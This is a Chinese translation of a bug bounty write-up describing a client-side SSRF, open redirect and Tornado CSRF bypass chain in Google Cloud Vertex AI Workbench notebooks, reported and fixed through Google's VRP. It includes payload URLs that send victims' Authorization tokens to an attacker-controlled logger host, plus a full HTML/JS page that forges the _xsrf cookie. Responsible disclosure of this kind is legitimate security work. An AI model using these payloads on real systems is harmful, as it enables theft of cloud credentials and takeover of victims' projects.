客户端SSRF对谷歌云项目的接管[谷歌VRP]
作者:Sec-Labs | 发布时间:
分享
本文选自《Client-Side SSRF to Google Cloud Project Takeover [Google VRP]》
这篇文章是关于我和 Sivanesh 在 2022 年在谷歌云中发现的错误的系列文章的一部分。
Google Cloud 提供 Vertex AI ,可让您构建、部署和扩展机器学习模型。 除了各种其他功能外,Vertex AI 还提供了“ Workbench ”功能。 Workbench 使您能够在云端创建基于 Jupyter notebook 的开发环境。 如果你使用过 Jupyter 笔记本,你就会知道这里有很多地方可能出错。 所以我决定深入挖掘。
Workbench 为您提供两种选择:
- 托管笔记本 实例是托管在 Google 托管环境中的笔记本。 这意味着您将无法控制它。
- 用户管理的笔记本 是高度可定制的,完全由用户管理。
初始错误
当你创建一个笔记本时,它会给你一个实例 https://{random-number}-dot-us-central1.notebooks.googleusercontent.com/
由于托管笔记本位于 Google 托管环境(沙盒环境)中,因此它们无法访问您的 Google 云数据。 因此,您必须授予托管笔记本通过 OAuth 流访问您的 Google Cloud 数据的权限。

范围:https://www.googleapis.com/auth/cloud-platform
验证后,我决定使用该应用程序来了解流程。 然后我偶然发现了这个特定的 URL:
嗯,这让我闻到了 SSRF 的味道。 请求原始 URL 得到的响应看起来像是发送到 的经过身份验证的请求的输出 compute.googleapis.com 。 根据以前的经验,我知道这些端点使用 Authorization 标头作为凭据。
我试着 compute.googleapis.com 改成 geekycat.in . 但它没有用,看起来有些白名单已经到位。 经过模糊测试,我发现 https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/{attacker.com}/compute.googleapis.com/ 绕过了检查,这很容易 😀
我的服务器的日志显示它收到了 Authorization 标头中带有令牌的请求。 我很快验证了访问令牌。 它确实 Cloud-Platform 有权访问我的 Google 帐户。 此外,易受攻击的端点是一个 GET 没有 CSRF 保护的请求(很常见)。 这意味着,通过诱骗受害者点击精心制作的链接,攻击者可以获得授权令牌并获得对受害者所有 GCP 项目的完全访问权限。
获取受害者实例子域的方法
攻击者需要知道受害者的子域才能使攻击生效。 受害者子域中的 Instance-ID 是随机的,无法猜测。 因此,这里有一些可以获得它的方法。
- 默认情况下,在一般的应用流程中,每个人的子域都会通过 referer 泄露给多个第三方域。 其中一些领域是:
- https://avatars.githubusercontent.com/
- https://github.com
- https://registry.npmjs.org
任何有权访问这些域或这些服务器中存在漏洞的人都可能泄露子域。
- 任何在受害者项目中具有“笔记本查看者”角色的人都可以看到子域,然后利用此问题获得对受害者所有项目的访问权限。
示例负载: https://29559448054aa43f-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/logger.geekycat.in/compute.googleapis.com/
报酬
作为漏洞奖励计划的一部分,我们向谷歌报告了这个问题。 他们给了我们 5000 美元的赏金。
修复
GET为端点 添加了 CSRF 保护。- 正确提取和验证域。
绕过
修复推出后,我注意到另一个以前没有的行为。
网址:https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/compute.googleapis.com/
早些时候,更改 compute.googleapis.com with something.google.com 会导致错误。 但这一次,它起作用了。 现在,如果我能在其中找到一个开放的重定向, *.google.com 我可以将其链接起来以绕过此检查。
Google 中最常见的公开记录的开放重定向是基于 javascript 的重定向,这在我们的案例中不起作用,因为服务器不解析 JS。 所以我跳进去在谷歌子域中找到一个 3xx 重定向。
几分钟后,我偶然发现了 https://feedburner.google.com . 此服务让您可以管理您所在域的 RSS 提要。 这就像您的 RSS 提要的代理一样。

在四处游玩时,我注意到一种行为可以使我们获得开放重定向。 也就是说,如果您的代理被停用,它会将 URL 重定向到您的域,而不是代理您的 RSS 提要。
设置开放重定向:
- 在您的域中托管一个 RSS 文件 (logger.geekycat.in)
- 导航到
https://feedburner.google.com--> 创建代理 --> 输入https://attacker.com/rss.xmlFeed URL --> 下一步 --> 复制“自定义 URL” --> 创建
复制的 URL 格式为, https://feeds.feedburner.com/{CUSTOM}/{ID}
- 创建代理后,单击三个点 --> 停用 --> 确认
现在,访问 https://feeds.feedburner.com/{CUSTOM}/{ID} 将重定向到您的域。 是的,开放重定向没有打开 *.google.com 。 最初,Google 曾经在 上托管 RSS 代理 https://feedburner.google.com ,但现在他们已经更改了域。 然而,幸运的是,您仍然可以 https://feedburner.google.com 通过简单地构建 URL 来使用新创建的 RSS 提要: https://feedproxy.google.com/{CUSTOM}/{ID}
由于我们有一个开放的重定向,让我们尝试再次执行相同的攻击。 访问 https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/feedproxy.google.com/{CUSTOM}/{ID} 仍然会失败,因为他们已经实现了 CSRF 保护。
绕过 CSRF 保护
幸运的是,Jupyter Notebook 托管在 Tornado 服务器上。 在之前的 研究 中, @s1r1us 提到了一种绕过 Tornado 服务器中 CSRF 保护的技术。 Tornado 服务器通过将 GET 参数/POST 正文中的 CSRF 令牌与 cookie 中的 CSRF 令牌进行比较来验证 CSRF 令牌。 如果两者匹配,则通过。 否则,它会失败。 由于子域可以将 cookie 设置到父域,因此在任何子域中执行 javascript 将允许我们将任意 CSRF 令牌设置到 cookie,然后绕过 CSRF 保护。
CSRF 绕过的先决条件是在同一站点上下文中执行 javascript。 在我们的例子中,应用程序托管在 https://{VICTIM-INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com . 由于 googleusercontent.com 是一个主要用于托管用户控制内容的沙盒域,因此很容易获得 javascript 执行。
为了获得 javascript 执行,攻击者必须在工作台中分离他的 用户管理的笔记本 。 在那里,他会在子域中得到一个 Jupyter notebook googleusercontent.com 。
Jupyter notebook 的索引页位于 /opt/conda/share/jupyter/lab/static . 现在他所要做的就是编辑 HTML 页面并在 googleusercontent.com . 由于我们已经成功获得了 javascript 执行,我们现在可以设置任意 CSRF 令牌并绕过保护。
把它们放在一起
- 攻击者获得开放重定向
feedburner.google.com - 然后,他创建了自己的用户管理笔记本,并使用以下内容更改其索引页。
<!DOCTYPE html>
<html lang="en">
<body>
<script>
var base_domain = document.domain.substr(document.domain.indexOf('.'));
document.cookie='_xsrf=1;Domain='+base_domain;
fetch("https://{VICTIM-INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/feedproxy.google.com/{CUSTOM}/{ID}?_xsrf=1",{credentials:"include",mode:"no-cors"})
</script>
</body>
</html>
当受害者访问攻击者的notebook实例时,上面的代码就会被执行。
document.cookie='_xsrf=1;Domain='+base_domain;将受害者 cookie 中的 CSRF 令牌设置为1fetch("https://{VICTIM-INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/feedproxy.google.com/{CUSTOM}/{ID}?_xsrf=1",{credentials:"include",mode:"no-cors"})获取包含凭据的受害者实例。- 由于 CSRF 令牌设置为
1,它与 cookie 中的令牌匹配并绕过 CSRF 保护。 - 现在受害者的实例服务器将尝试获取
feedproxy.google.com/{CUSTOM}/{ID}受害者的授权标头。 feedproxy.google.com/{CUSTOM}/{ID}将重定向到攻击者的服务器,攻击者将在其服务器日志中获取受害者的授权令牌。- 由于授权令牌具有云平台权限,攻击者可以完全访问受害者的所有 GCP 项目。
视频演示:
使固定:
- 停止支持
*.google.com作为代理 url。
报酬:
作为漏洞奖励计划的一部分,我们向谷歌报告了这个问题。 他们给了我们 5000 美元的赏金。